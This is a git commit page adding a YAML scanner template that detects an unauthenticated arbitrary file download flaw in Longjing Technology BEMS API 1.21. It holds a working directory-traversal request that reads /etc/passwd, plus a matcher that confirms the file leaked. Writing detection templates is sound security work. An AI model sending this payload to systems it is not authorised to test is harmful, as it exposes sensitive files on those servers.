Merge pull request #2318 from gy741/rule-add-v50
Create longjing-technology-bems-api-lfi.yamlpatch-1
commit
c581a94bf4
|
@ -0,0 +1,24 @@
|
|||
id: bems-api-lfi
|
||||
|
||||
info:
|
||||
name: Longjing Technology BEMS API 1.21 - Remote Arbitrary File Download
|
||||
author: gy741
|
||||
severity: high
|
||||
description: The application suffers from an unauthenticated arbitrary file download vulnerability. Input passed through the fileName parameter through downloads endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
|
||||
reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
|
||||
tags: lfi
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:.*:0:0"
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue